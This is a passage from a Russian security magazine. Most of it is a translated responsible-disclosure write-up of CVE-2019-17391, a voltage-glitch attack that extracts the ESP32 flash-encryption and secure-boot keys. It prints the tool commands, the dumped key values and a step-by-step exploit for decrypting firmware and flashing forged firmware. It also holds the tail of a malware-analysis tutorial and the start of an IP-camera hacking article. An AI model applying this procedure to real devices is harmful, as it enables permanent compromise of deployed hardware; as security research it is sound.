Для ана лиза двух оставших ся фай лов вос поль зуем ся дизас сем бле ром IDA.
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 ― популяр ный инте рак тивный дизас сем блер
ком пании  Hex‐Rays.  Име ет  бес плат ную  и  проб‐ 
ную  вер сии,  чего  впол не  дос таточ но  для  пер‐ 
вично го  зна комс тва.  Так же  ком пания  выпус кает
вер сию  Pro.  Основная  задача  прог раммы  ―
это  перевод  исполня емых  фай лов  из  бинар ного
вида в чита емый код на ассем бле ре.

IDA

Прос мотр кода в IDA

Как вид но из при мера, IDA поз воля ет получить код прог раммы на ассем бле‐ 
ре, но для более удоб ного прос мотра и пер воначаль ной оцен ки мож но вос‐ 
поль зовать ся пла гином   и получить псев докод.Snowman

Прос мотр псев докода в IDA

Ис поль зование псев докода упро щает ана лиз, но не всег да дает ожи даемый
резуль тат. Дизас сем бли рова ние и соз дание псев докода выпол няют ся авто‐ 
мати чес ки,  и  у  вирусо писа телей  есть  тех ники  для  их  усложне ния.  Такое  вот
веч ное  про тивос тояние  меча  и  щита,  интеллек та  соз дателя  мал вари
и интеллек та вирус ного ана лити ка.

Мы, ког да исполь зовали API Monitor,  уже выяви ли вре донос ную сущ ность
это го фай ла по совер шаемым дей стви ям. Но пока что не зна ем, каков потен‐ 
циал этой мал вари. Что бы получить пол ный алго ритм работы это го исполня‐ 
емо го фай ла, необ ходимо углублять ся в ана лиз как ассем блер ного кода, так
и прог раммы на Visual Basic, но это выходит за рам ки статьи.

ЗАКЛЮЧЕНИЕ
Ес ли у  тебя соз далось впе чат ление, что мы бро сили иссле дова ние в самом
начале пути, то оно отчасти спра вед ливо: здесь мы про дела ли лишь те дей‐ 
ствия, которые не тре буют зна ния ассем бле ра. Одна ко, как видишь, про вес ти
экс пресс‐ана лиз и уста новить, чего мож но ждать от мал вари, впол не реаль но
и без это го.

При  пол ноцен ном  же  раз боре  пот ребу ется  глу бокое  понима ние  прин‐ 
ципов работы опе раци онной сис темы и, конеч но, зна ние ассем бле ра.

Ес ли  ты  серь езно  решил  встать  на  путь  вирус ного  ана лити ка,  то  тебе
поможет  литера тура  по  reverse  engineering,  ана лизу  мал вари,  сис темно му
прог рамми рова нию  и  ассем бле ру,  а  так же  прак тика,  мно го  прак тики.
Рекомен дую  решать  крэк ми  и  зарегис три ровать ся  на 
для  получе ния  при меров  работа ющих  вре доно сов.  Тебя  ждет  дол гий  путь,
но дорогу оси лит иду щий!

hybrid‐analysis.com
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РАЗ И НАВСЕГДА

ВЗЛАМЫВАЕМ
ESP32

ИЗВЛЕЧЕНИЕ КЛЮЧЕЙ
ФЛЕШ‐ШИФРОВАНИЯ

И БЕЗОПАСНОЙ ЗАГРУЗКИ

LimitedResults

ВЗЛОМ

Свое мас штаб ное иссле дова ние мик рокон трол лера ESP32 я
закон чил изу чени ем двух его важ ней ших фун кций: безопас‐ 
ной  заг рузки  (Secure  Boot)  и  флеш‐шиф рования  (Flash  En‐
cryption).  Моей  целью  было  получить  рабочий  экс пло ит,
который  обхо дит  и  то  и  дру гое.  В  этой  статье  я  покажу,
как  пол ностью  счи тать  защищен ные  eFuses,  в  которых  хра‐ 
нят ся сек ретные клю чи.

Пер вый  ключ  исполь зует ся  для  флеш‐шиф рования  ,  вто рой  —
для безопас ной заг рузки  . Пос коль ку вен дор не может выпус тить патч,
который  пре дот вра тит  подоб ную  ата ку  на  уже  выпущен ных  устрой ствах,
это «пожиз ненный» взлом. Сов мес тно с вен дором Espressif мы решили пой ти
на ответс твен ное рас кры тие обна ружен ной уяз вимос ти (CVE‐2019‐17391).

(BLK1)

(BLK2)

INFO

Это  перевод  статьи  пен тесте ра  с  псев донимом
LimitedResults,    в  его
бло ге. Переве ла Алё на Геор гиева. Все иллюс тра‐ 
ции в статье при над лежат авто ру.

впер вые  опуб ликован ной

Статья  завер шает  цикл  пуб ликаций 
.  Пре дыду щие  статьи  читай  в  бло ге

авто ра (на англий ском):

Pwn
the  ESP32

•Pwn the ESP32 crypto‐core
•Pwn the ESP32 Secure Boot

ОДНОКРАТНО ПРОГРАММИРУЕМЫЕ ПРЕДОХРАНИТЕЛИ
Од нократ но  прог рамми руемая  (One‐Time  Programmable,  OTP)  память  —
это тип энер гонеза виси мой памяти, в которую мож но записать дан ные толь ко
один  раз.  Записав  однажды,  их  уже  нель зя  изме нить  —  пос ле  отклю чения
питания  дан ные  все  рав но  оста ются  на  носите ле.  В  ESP32  такая  память
базиру ется  на  тех нологии    (electronic  Fuses)  —  и  хра нит  сис темные
парамет ры, нас трой ки безопас ности и кон фиден циаль ные дан ные.

eFuses

По  сути  eFuse  —  это  один  бит  энер гонеза виси мой  памяти;  еди нож ды
получив зна чение 1, он уже никог да не поменя ет его на 0. Кон трол лер eFuses
прог рам мным методом прис ваивает  каж дому биту  необ ходимый  сис темный
параметр.  Некото рые  из  этих  парамет ров  либо  счи тыва ются  соф том  через
кон трол лер eFuses, либо исполь зуют ся железом нап рямую. Часть таких элек‐ 
трон ных пре дох раните лей защища ют дос туп к чте нию и записи дан ных.

Кон трол лер eFuses на ESP32
Espressif  пре дос тавля ет  пол ную    по  тех нологии  eFuse.  В  тех‐ 
ничес ком  руководс тве  есть  и  гла ва,  пос вящен ная  кон трол леру  eFuses  (гла‐ 
ва 20). Этот кон трол лер управля ет мас сивами eFuses и содер жит четыре бло‐ 
ка eFuses каж дый дли ной 256 бит (не все из них дос тупны):

до кумен тацию

 исполь зует ся исклю читель но для сис темных задач;• EFUSE_BLK0

  содер жит  ключ  флеш‐шиф рования  (Flash  Encryption  Key,
FEK);

• EFUSE_BLK1

 содер жит ключ безопас ной заг рузки (Secure Boot Key, SBK);• EFUSE_BLK2

  час тично  резер виру ется  под  кас томный  MAC‐адрес
или пол ностью занят поль зователь ским при ложе нием.

• EFUSE_BLK3

Пред став ление eFuses выг лядит сле дующим обра зом.

Таб лица eFuses

Как видим, самые важ ные бло ки — это   и  , которые хра нят соот‐ 
ветс твен но  FEK  и  SBK.  От  переза писи  их  защища ют 
и  , а от чте ния —   и  .

BLK1 BLK2

WR_DIS_BLK1

WR_DIS_BLK2 RD_DIS_BLK1 RD_DIS_BLK2

БЕЗОПАСНАЯ ЗАГРУЗКА
 (Secure Boot) сто ит на стра же под линнос ти и целос‐ 

тнос ти про шив ки, которая хра нит ся во внеш ней флеш‐памяти типа SPI. Ата‐ 
кующе му  ничего  не  сто ит  изме нить  содер жимое  внеш ней  флеш‐памяти
и  запус тить  на  ESP32  злов редный  код.  Безопас ная  заг рузка  приз вана
защитить от подоб ной модифи кации про шив ки.

Бе зопас ная заг рузка

Пе ред  запус ком  про шив ки  безопас ная  заг рузка  соз дает  цепоч ку
доверия  —  от  BootROM  к  заг рузчи ку.  Это  гаран тиру ет,  что  исполня емый
на устрой стве код под линный и не может быть изме нен без под писи бинар‐ 
ников (для это го нужен сек ретный ключ). Непод писан ные бинар ники устрой‐ 
ство прос то не запус тит.
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•Ис черпы вающая  докумен тация  по  безопас ной
заг рузке

Как это работа ет?
Бе зопас ную  заг рузку  обыч но  уста нав лива ют  еще  на  про изводс тве,  которое
счи тает ся безопас ной сре дой.

Ключ безопас ной заг рузки (SBK) сох раня ют в eFuses
Как мы уже говори ли, у ESP32 есть OTP‐память, которая сос тоит из четырех
бло ков по 256 eFuses (все го 1024 бит).   (SBK)
вши вают в элек трон ные пре дох раните ли бло ка BLK2 (256 бит) на про изводс‐ 
тве.  Имен но  с  его  помощью  в  режиме  AES‐256  ECB  соз дает ся  цепоч ка
доверия от BootROM к заг рузчи ку — что бы про верить пос ледний. Ключ нель‐ 
зя  счи тать  или  модифи циро вать  —  блок  BLK2  защищен  спе циаль ными
eFuses.

Ключ безопас ной заг рузки

По нят но,  что  такой  ключ нуж но  хра нить  в  тай не — что бы  зло умыш ленник
не  мог  соз дать  новый  образ  заг рузчи ка,  спо соб ный  прой ти  верифи кацию.
Хорошо бы так же прис ваивать каж дому устрой ству уни каль ный ключ — что бы
умень шить мас штаб катас тро фы в слу чае, если один из SBK уте чет или будет
дешиф рован.

Па ра клю чей ECDSA
Во  вре мя  про изводс тва  вен дор  так же  генерит  пару  клю чей  ECDSA —  сек‐ 
ретный и откры тый. Пер вый хра нят в тай не. Вто рой вклю чают в конец обра за
заг рузчи ка — он отве чает за про вер ку под писи в обра зах при ложе ний.

Дай джест
На адрес  0x0 флеш‐памяти SPI  вши вают  192‐бай тный дай джест. На  выходе
мы  получа ем  192  байт  дан ных:  128  ран домных  байт  плюс  содер жатель ный
дай джест  из  64  байт,  вычис ленных  по  хеш‐фун кции  SHA‐512.  Выг лядит  все
это так:

Digest = SHA‐512(AES‐256((bootloader.bin + ECDSA publ. key), SBK))

Ос тановим ся на SBK
Ис ходя из уже ска зан ного, я решил сос редото чить ся на SBK, который хра нит‐ 
ся в eFuses бло ка BLK2. Если я его вычис лю, то смо гу под писать свой злов‐ 
редный заг рузчик и избе жать верифи кации ECDSA.

Нас трой ка безопас ной заг рузки
Бла года ря докумен тации я знаю, что на новой пла те ESP32 безопас ную заг‐ 
рузку мож но вклю чить вруч ную:

 

 

 
$ espefuse.py burn_key secure_boot ./hello_world_k1/secure‐bootloader‐
key‐256.bin
$ espefuse.py burn_efuse ABS_DONE_0

Пос ле перезаг рузки мож но уви деть пред став ление eFuses, исполь зуя инс тру‐ 
мент  .espefuse.py

Схе ма eFuses пос ле нас трой ки безопас ной заг рузки

Бе зопас ная  заг рузка  вклю чена  ( ),  и  ее  ключ  (BLK2)  боль ше
нель зя  счи тать  или  перепи сать.  А  параметр    был
про шит  еще  до  того,  как  я  получил  пла ту.  Теперь  ESP32  удос товеря ет  заг‐ 
рузчик  при  каж дом  запус ке,  затем  софт  верифи циру ет  при ложе ние  и  пос ле
это го исполня ет код.

ABS_DONE_0=1
CONSOLE_DEBUG_DISABLE

ФЛЕШ-ШИФРОВАНИЕ
 (Flash Encryption) — фун кция для шиф рования содер‐ 

жимого  встро енной  в  ESP32  SPI‐флеш ки.  Ког да  флеш‐шиф рование  акти‐ 
виро вано,  мы  не  можем  получить  дос туп  к  боль шей  час ти  кон тента,  прос то
физичес ки счи тав SPI‐носитель.

Флеш‑шиф рование

Ес ли акти виро вать эту фун кцию, то по дефол ту шиф руют ся:
заг рузчик;•
таб лица раз делов;•
раз дел при ложе ний.•

Дру гие типы дан ных могут быть зашиф рованы в зависи мос ти от усло вий:
дай джест заг рузчи ка Secure Boot (если вклю чена безопас ная заг рузка);•
лю бые раз делы, помечен ные в таб лице раз делов фла гом  .• encrypted
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•Пол ная докумен тация по фун кции Flash Encryp‐
tion

Как это работа ет?
Как и безопас ная заг рузка, флеш‐шиф рование обыч но про шива ется еще на
про изводс тве, которое счи тает ся безопас ной сре дой.

Ключ флеш‑шиф рования (FEK) сох раня ют в eFuses
Все  то  же  самое: OTP‐память  ESP32,  сос тоящая  из  четырех  бло ков  по  256
eFuses,  все го  1024  бит.  Ключ  флеш‐шиф рования  (FEK)  вши вает ся  в  блок
элек трон ных  пре дох раните лей BLK1.  Содер жимое флеш‐памяти шиф рует ся
с помощью AES‐256.

Ключ  флеш‐шиф рования  хра нит ся  в  eFuses  внут ри  чипа  и  защищен
от прог рам мно го дос тупа. Его нель зя счи тать или модифи циро вать — за это
отве чают защит ные eFuses.

Флеш‑шиф рование с помощью AES-256
Флеш‐шиф рование  исполь зует  алго ритм  AES‐256,  при  котором  ключ  «кор‐ 
ректи рует ся» сме щени ем каж дого 32‐бай тно го бло ка флеш‐памяти. Это зна‐ 
чит,  что  каж дый  32‐бай тный  блок  (два  пос ледова тель ных  16‐бай тных  AES‐
бло ка)  шиф рует ся  уни каль ным  клю чом,  осно ван ным  на  общем  клю че
флеш‐шиф рования  (FEK).    дос тупа  к  флеш‐памяти
в  ESP32  обес печива ет  фун кция  отоб ражения  флеш‐кеша:  любые  области
флеш‐памяти,  сопос тавлен ные  с  адресным  прос транс твом,  при  чте нии
понят ным обра зом дешиф руют ся.

Проз рачность

Ос тановим ся на FEK
Итак,  теперь  я  решил  сос редото чить ся  на  FEK,  который  хра нит ся  в  eFuses
бло ка BLK1. Заполу чив его,  я смо гу  зашиф ровать новый заг рузчик или рас‐ 
шифро вать всю про шив ку, что тоже неп лохо.

Вре мя нас тро ить флеш‑шиф рование
Для начала я сге нери ровал свой собс твен ный ключ и про шил его в BLK2:

 

 

 
  

 
0000000 c838 e375 7633 1541 5ff9 4365 f2dd 2ce9 
0000010 1f78 42a0 bf53 8f14 68ce 009f 5586 9b52 
  

 
espefuse.py v2.7‐dev 
Connecting...... 
Write key in efuse block 1. The key block will be read and write pro‐
tected (no further changes or readback). This is an irreversible opera‐
tion. 
Type 'BURN' (all capitals) to continue. 

 
Burned key data. New value: 9b 52 55 86 00 9f 68 ce 8f 14 bf 53 42 a0 1f 
78 2c e9 f2 dd 43 65 5f f9 15 41 76 33 e3 75 c8 38 
Disabling read/write to key efuse block...

$ espsecure.py generate_flash_encryption_key my_flash_encryption_key.bin

$ hexdump my_flash_encryption_key.bin

$ espefuse.py ‐‐port /dev/ttyUSB0 burn_key flash_encryption my_flash_en‐
cryption_key.bin

BURN

За тем наз начил ответс твен ные за акти вацию флеш‐шиф рования eFuses:

 

 

$ espefuse.py burn_efuse FLASH_CRYPT_CONFIG 0xf $ espefuse.py burn_efuse 
FLASH_CRYPT_CNT

Для чте ния eFuses так же годит ся коман да  :dump

 

 

 
espefuse.py v2.7‐dev 
Connecting.... 
EFUSE block 0: 
00130180 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054 
EFUSE block 1: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 2: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 3: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

$ espefuse.py ‐‐port /dev/ttyUSB0 dump

По резуль татам моего ревер са в зна чении   пер вое 32‐бит ное
сло во соот ветс тву ет нас трой кам безопас ности:

EFUSE block0

00130180 = 00000000 00010011 00000001 10000000

Две еди ницы в кон це вто рого сег мента отно сят ся к eFuses, которые защища‐ 
ют BLK2 и BLK1 от чте ния. Любые попыт ки про честь BLK1 или BLK2 воз вра‐ 
щают  .0x00

В ито ге нас трой ки безопас ности ESP32 выг лядят так.

Свод ка eFuses при мак сималь ных нас трой ках безопас ности. Флеш‐шиф ‐
рование и безопас ная заг рузка вклю чены. BLK1 и BLK2 защище ны
от чте ния и переза писи

ТЕСТИРУЕМ ПРИЛОЖЕНИЕ В РЕЖИМЕ ПОЛНОЙ БЕЗОПАСНОСТИ
ESP32
Для  мак сималь ной  безопас ности  Espressif  рекомен дует  исполь зовать
как  безопас ную  заг рузку,  так  и  флеш‐шиф рование.  Вклю чим  обе  фун кции
и про тес тим их с помощью спе циаль но ском пилиро ван ного и про шито го при‐ 
ложе ния.

Ком пилиру ем тес товое при ложе ние
Тес товое при ложе ние мож но запилить прос тым  , нап ример:main.c

void app_main() {
   while(1) {
       printf("Hello from SEC boot K1 & FE !\n");
       vTaskDelay(1000 / portTICK_PERIOD_MS);
   }
}

Для  ком пиляции  я  акти вирую  безопас ную  заг рузку  и  флеш‐шиф рование
с помощью  .make menuconfig

Про шива ем тес товое при ложе ние
Все  обра зы  под писаны,  зашиф рованы  и  один  за  дру гим  про шиты  в  память
ESP32  (я  делаю это  вруч ную,  что бы получить мак симум информа ции о  про‐ 
цес се флеш‐шиф рования):

 

 

 
  

 hard_reset write_flash ‐z ‐‐flash_mode dio ‐‐flash_freq 
40m ‐‐flash_size detect 0x0 /home/ 
limited/esp/hello_world_k1_FE/build/bootloader/bootloader‐reflash‐di‐
gest‐encrypted.bin 
  

 
  

 
  

 hard_reset write_flash ‐z ‐‐flash_mode dio ‐‐flash_freq 
40m ‐‐flash_size detect 0x10000 
/home/limited/esp/hello_world_k1_FE/build/hello‐world‐encrypted.bin 
0x8000 /home/limited/esp/hello_world_k1_FE/build/partitions_singleapp‐
encrypted.bin

$ espsecure.py encrypt_flash_data ‐k ../../my_flash_encryption_key.bin ‐
o bootloader‐reflash‐digest‐encrypted.bin ‐a 0x0 bootloader‐reflash‐di‐
gest.bin

$ python /home/limited/esp/esp‐idf/components/esptool_py/esptool/esp‐
tool.py ‐‐chip esp32 ‐‐port /dev/ttyUSB0 ‐‐baud 115200 ‐‐before default‐
_reset ‐‐after

$ espsecure.py encrypt_flash_data ‐k ../my_flash_encryption_key.bin ‐o 
hello‐world‐encrypted.bin ‐a 0x10000 hello‐world.bin

$ espsecure.py encrypt_flash_data ‐k ../my_flash_encryption_key.bin ‐o 
partitions_singleapp‐encrypted.bin ‐a 0x08000 partitions_singleapp.bin

$ python /home/limited/esp/esp‐idf/components/esptool_py/esptool/esp‐
tool.py ‐‐chip esp32 ‐‐port /dev/ttyUSB0 ‐‐baud 115200 ‐‐before default‐
_reset ‐‐after

Ну  что  ж,  сра бота ло  как  по  вол шебс тву.  Вот  что  показы вает  лог  UART
при вклю чении:

 

 

ets Jun  8 2016 00:22:57 
rst:0x1 (POWERON_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) 
configsip: 0, SPIWP:0xee 
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 
mode:DIO, clock div:2 
load:0x3fff0018,len:4 
load:0x3fff001c,len:5548 
load:0x40078000,len:0 
load:0x40078000,len:21468 
entry 0x40078680 
I (920) cpu_start: Pro cpu up. 
I (920) cpu_start: Starting app cpu, entry point is 0x40080e44 
I (0) cpu_start: App cpu up. 
I (923) heap_init: Initializing. RAM available for dynamic allocation: 
I (930) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM 
I (936) heap_init: At 3FFB29A8 len 0002D658 (181 KiB): DRAM 
I (942) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM 
I (949) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM 
I (955) heap_init: At 40088B50 len 000174B0 (93 KiB): IRAM 
I (961) cpu_start: Pro cpu start user code 
I (308) cpu_start: Starting scheduler on PRO CPU. 
I (0) cpu_start: Starting scheduler on APP CPU. 
Hello from SEC boot K1 & FE ! 
Hello from SEC boot K1 & FE ! 
Hello from SEC boot K1 & FE !

Про веря ем содер жимое флеш‑памяти
Что бы  убе дить ся,  что  про шив ка  зашиф рована,  я  сдам пил  все  содер жимое
флеш‐памяти:

 

 

$ esptool.py ‐p /dev/ttyUSB0 ‐b 460800 read_flash 0 0x400000 flash_con‐
tents.bin

Как и ожи далось, ничего не понят но.

Пер вые стро ки flash_contents.bin (без сом нения, зашиф рован ные)

ПОРА ВЗЛАМЫВАТЬ!
Ты можешь спро сить: так, погоди‐ка, а где здесь уяз вимость? И будешь прав:
пока уяз вимос ти мы не обна ружи ли. Но…
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ВЗЛАМЫВАЕМ ESP32

РАЗ И НАВСЕГДА
ИЗВЛЕЧЕНИЕ КЛЮЧЕЙ ФЛЕШ‐ШИФРОВАНИЯ

И БЕЗОПАСНОЙ ЗАГРУЗКИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Чер ный ящик
Я пос тавил резис тор на 1 Ом (под клю чен к осциллог рафу) на  , что бы
про верить, что про исхо дит с мощ ностью во вре мя заг рузки ESP32. Прос той
ана лиз мощ ности — полез ный метод для ревер са аппа рат ной обра бот ки.

VDD_RTC

Ана лиз аппа рат ной активнос ти ESP32 во вре мя заг рузки: 1 — передат чик
UART TX; 2 — 3,3‐воль товый VDD (триг гер); 3 — рас ход энер гии; 4 —
импуль сная коман да

Я быс тро нашел чис то аппа рат ную обра бот ку дли ной в 500 мкс — до начала
стро ки  , соот ветс тву ющей про цес су BootROM.ets June 2018

Эта  аппа рат ная  активность  —  навер няка  ини циали зация  кон трол лера
eFuses и заг рузка зна чений eFuses в спе циаль ную буфер ную память. Отту да
флеш‐кон трол лер будет извле кать эти зна чения на сле дующих эта пах.

Про верим мое пред положе ние.

Го товим обо рудо вание
Тес тировать будем с помощью пла ты LOLIN. Выс тавим режим мак сималь ной
безопас ности ESP32 (безопас ная заг рузка + флеш‐шиф рование).

Дев кит LOLIN (10 дол ларов на Amazon)

Мо дифи циру ем пла ту
Я модифи циро вал пла ту, что бы одновре мен но управлять   и  .VDD_CPU VDD_RTC

Го товим одновре мен ный сбой VDD_CPU и VDD_RTC

Нас трой ка обо рудо вания

Вся сис тема обо рудо вания, которым мы будем сби вать нап ряжение
в ESP32

Для скрип тов и син хро низа ции всех час тей я исполь зовал Python.

Ре жим заг рузки и коман да dump
Для нашего экспе римен та я уста новил на ESP32 режим заг рузки (IO0 под клю‐ 
чен к GND). При меняю коман ду  , о которой мы уже говори ли:dump

 

 

 
espefuse.py v2.7‐dev 
Connecting.... 
EFUSE block 0: 
00130180 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054 
EFUSE block 1: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 2: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 3: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

$ espefuse.py ‐‐port /dev/ttyUSB0 dump

Ре зуль тат
Ис поль зуем обна ружен ный нами пери од аппа рат ной обра бот ки (до заг рузки
BootROM),  что бы  обру шить  нап ряжение  на    и  .  Если  мы
успешно  счи тали  защищен ные  от  чте ния  и  записи  eFuses,  экран  осциллог‐ 
рафа выг лядит вот так.

VDD_CPU VDD_RTC

Точ ное вре мя ран ней заг рузки, ког да мы отклю чаем защиту от чте ния
в кон трол лере eFuses. 1 — передат чик UART TX; 2 — 3,3‐воль товый VDD
(триг гер); 3 — рас ход энер гии; 4 — импуль сная коман да

Во‐пер вых, мы сдам пили ключ флеш‐шиф рования:

 

 

 
espefuse.py v2.7‐dev 
Connecting.... 
EFUSE block 0: 
00120300 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054 
EFUSE block 1: 
8655529b ce689f00 56bf288f 781fa042 ddf2e958 f25f6543 33764115 38c875e3 
EFUSE block 2: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 3: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001

‐‐‐‐‐ Efuses reading 40 ‐‐‐‐‐ Pulse delay = 0.001191230

Во‐вто рых, ключ безопас ной заг рузки тоже наш:

 

 

 
espefuse.py v2.7‐dev 
Connecting.... 
EFUSE block 0: 
001100c0 bf4dbb34 00e43c71 00000000 00000430 f0000000 00000054 
EFUSE block 1: 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
EFUSE block 2: 
e94f5bc2 00370f91 7c897429 2eadd23b c7664f05 5ae3365f d3781029 82e25c4c 
EFUSE block 3: 
00000000 00000000 00800000 00000000 00000000 01000000 00000000 00000080

‐‐‐‐‐ Efuses reading 19 ‐‐‐‐‐ Pulse delay = 0.001190600

Фа таль ный PoC

Ори гиналь ный PoC, отправ ленный вен дору

Один шаг до пол ного рас кры тия клю чей
К  сожале нию,  некото рые  бай ты  в  получен ных  выше  зна чени ях  оши боч ны.
Веро ятно,  это  свя зано  с  помеха ми  во  вре мя  ини циали зации  кон трол лера
eFuses — слож но ска зать точ нее без дос тупа к кон фиден циаль ной информа‐ 
ции о раз работ ке.

Пос ле корот кого сеан са сбо ев в логе оста лось 30 сбро шен ных зна чений,
но  ни  одно  из  них  не  сов пада ет  с  реаль ным  клю чом  в  точ ности.  Тре бует ся
неболь шой  ста тис тичес кий  ана лиз.  Я  написал  питонов ский  скрипт,  что бы
вычис лить ключ безопас ной заг рузки по 30 сбро шен ным клю чам.

Вы чис ление пол ного SBK по пре дыду щим сбро шен ным зна чени ям

: здесь ана лизи рует ся  толь ко SBK, но FEK тоже мож но вычис‐ 
лить этим спо собом.
При меча ние

При реаль ном взло ме (то есть без зна ния клю ча) брут форсить при ходит ся
толь ко пос ледний байт. То же отно сит ся и к FEK. Заб рутфор сить SBK мож но,
срав нивая  дай джес ты  на  шине  0x80  флеш‐памяти.  Для  FEK  при годит ся
коман да  . Не так уж слож но.fw‐decryption

Пол ный и окон чатель ный экс пло ит
Ни же опи сано, как навеки заг рузить код экс пло ита в «пол ностью защищен ный
ESP32»:

# Дампишь зашифрованную прошивку из режима загрузки (или через 
считывание флеш‐памяти)
$ esptool.py ‐p /dev/ttyUSB0 ‐b 460800 read_flash 0 0x400000 flash_
contents.bin

# Дампишь FEK и SBK с помощью сбоя напряжения (как описано выше)
# Запускаешь статистический анализ по 30–50 полученным значениям

# Дешифруешь прошивку, используя реальный FEK (однобайтовый брутфорс)
$ espsecure.py decrypt_flash_data ‐‐keyfile my_dumped_fek.bin 
‐‐output decrypted.bin ‐‐address 0x0 flash_contents.bin

# Извлекаешь bootloader.bin из расшифрованной прошивки, начиная с 
0x1000, размер загрузчика может разниться (здесь 0x69F0)
$ dd if=decrypted.bin of=bootloader.bin bs=1 skip=$((0x1000)) count=
$((0x69F0))

# Извлекаешь iv.bin (первые 128 рандомных байт по адресу 0x00 в 
дешифрованной прошивке) 
$ dd if=decrypted.bin of=iv.bin bs=1 count=$((0x80))

# Вычисляешь подлинный дайджест, используя реальный SBK (
однобайтовый брутфорс), и сравниваешь с оригинальным дайджестом по 
адресу 0x80 в дешифрованной прошивке (64 байт)
$ espsecure.py digest_secure_bootloader ‐‐keyfile my_dumped_sbk.bin 
‐‐iv iv.bin bootloader.bin 

# Вставляешь бинарники FEK и SBK в рабочую область
# Пишешь код 
# Компилируешь образы с помощью sdkconfig (используя FEK и SBK) 
# Заливаешь новую зашифрованную и подписанную прошивку
# Откидываешься в кресле: ты только что обошел безопасную загрузку и 
флеш‐шифрование навеки

А еще, ког да пишешь фай лы клю чей, важ но пом нить о поряд ке бай тов. Пос‐ 
мотри на эти при меры.

Ре аль ный FEK. Нуж но соб людать порядок бай тов

Ре аль ный SBK. И здесь порядок бай тов важен

ЗАКЛЮЧЕНИЕ
Целью  это го  иссле дова ния  была  плат форма  ESP32  в  режиме  «пол ной
безопас ности»  (флеш‐шиф рование  плюс  безопас ная  заг рузка).  Это  мак‐ 
сималь ный уро вень защиты, рекомен дован ный Espressif.

Од нако  я  смог  пол ностью  счи тать  клю чи  флеш‐шиф рования  (FEK)
и безопас ной заг рузки (SBK), взло мав защиту от чте ния скач ком нап ряжения.
Этот  экс пло ит  поз воля ет  ата кующе му  рас шифро вать  зашиф рован ную  про‐ 
шив ку — ведь теперь у него есть AES‐ключ флеш‐шиф рования.

В  худ шем  слу чае  зло умыш ленник  может  под делать  про шив ку  (исполь зуя
SBK),  зашиф ровать  ее  с  помощью  FEK  и  заменить  ори гиналь ную  про шив ку
нав сегда. Такой взлом невоз можно про пат чить без ревизии железа.

Тай млайн
24.07.2019: Я отпра вил Espressif пись мо с PoC.•
29.07.2019: Espressif приз нает уяз вимость и пред лага ет внес ти ее в CVE.•
05.09.2019: Espressif про сит 100 дней на ответс твен ное рас кры тие.•
11.10.2019: Espressif анон сиру ет уяз вимость  .• CVE‐2019‐17391
01.11.2019: Новое   от Espressif.• ру ководс тво по безопас ности
13.11.2019: Пуб ликация этой статьи в бло ге.•

Из‐за низ кой слож ности ата ку доволь но лег ко вос про извести. По моему мне‐ 
нию, опыт ному хакеру для это го понадо бит ся мень ше одно го дня и обо рудо‐ 
вание мень ше чем на 1000 бак сов.

Аб солют но  все  ESP32  уяз вимы  —  речь  идет  о  десят ках  мил лионов  уже
дей ству ющих девай сов. И пока мы тут раз говари ваем, устрой ства с этой уяз‐ 
вимостью про дол жают про давать ся.

WWW

•Блог авто ра
•Твит тер авто ра

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17391
https://www.espressif.com/en/news/Security_Advisory_Concerning_Fault_Injection_and_eFuse_Protections
https://limitedresults.com/posts/
https://twitter.com/LimitedResults
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ВЗЛОМ

За  пос ледние  нес коль ко  лет  все  чаще
обсужда ется  проб лема  безопас ности
домаш них  гад жетов.  На  слу ху  ата ки  бот‐ 
нетов  типа  ,  которые  поража ют  мил‐ 
лионы  устрой ств  и  вре дят  как  домаш ним
поль зовате лям,  так  и  биз несу.  Этич ные
хакеры тоже иссле дуют все боль ше девай‐ 
сов — обыч но с неуте шитель ными вывода‐ 
ми. В  этой статье  я  покажу  все эта пы про‐ 
вер ки  хар двер ной  безопас ности  на  при‐ 
мере  рас простра нен ной  в  Рос сии  модели
IP‐камеры.  Спой лер:  уяз вимос тей  будет
мно го.

Mirai

INFO

Этот  текст  осно ван  на  моем  док ладе  Oldschool
Way of Hacking Microdigital IP‐cameras, с которым
я  выс тупил  на  ZeroNights  2019.  Мно гие  про сили
меня  прис лать  слай ды,  и  я  решил,  что  статья
с  раз бором  всех  уяз вимос тей  будет  еще  полез‐ 
нее.

Итак,  моей  задачей  было  выб рать  такого  про изво дите ля,  который,  с  одной
сто роны, дав но при сутс тву ет на рос сий ском рын ке, с дру гой — еще не прив‐ 
лекал вни мание спе циалис тов по безопас ности. Мой выбор пал на корей скую
фир му Microdigital, которая про изво дит IP‐камеры.

Сайт  ком пании  обе щает  нам широкий  ассорти мент:  «свы ше  30 моделей
регис тра торов, свы ше 150 моделей виде ока мер». Отлично!

Ком пания сущес тву ет на рын ке (в том чис ле и рос сий ском) уже боль ше две‐ 
над цати лет, а это зна чит, что ее про дук ция рас простра нена. Ока залось даже,
что в 2011 году был зак лючен договор на осна щение более 30 тысяч рос сий‐ 
ских авто бусов камера ми этой фир мы.

В  пер вую  оче редь  меня  заин тересо вали  устрой ства  серии  N,  они  дос‐ 
таточ но прод винутые, но при этом пока что не ста ли объ ектом тес тирова ния
кого‐то  из  иссле дова телей.  Пора  испра вить  это!  Я  выб рал  модель  MDC‐
N4090W, которая пред назна чена для исполь зования внут ри помеще ний. Под‐ 
робную  информа цию  об  устрой стве  мож но 

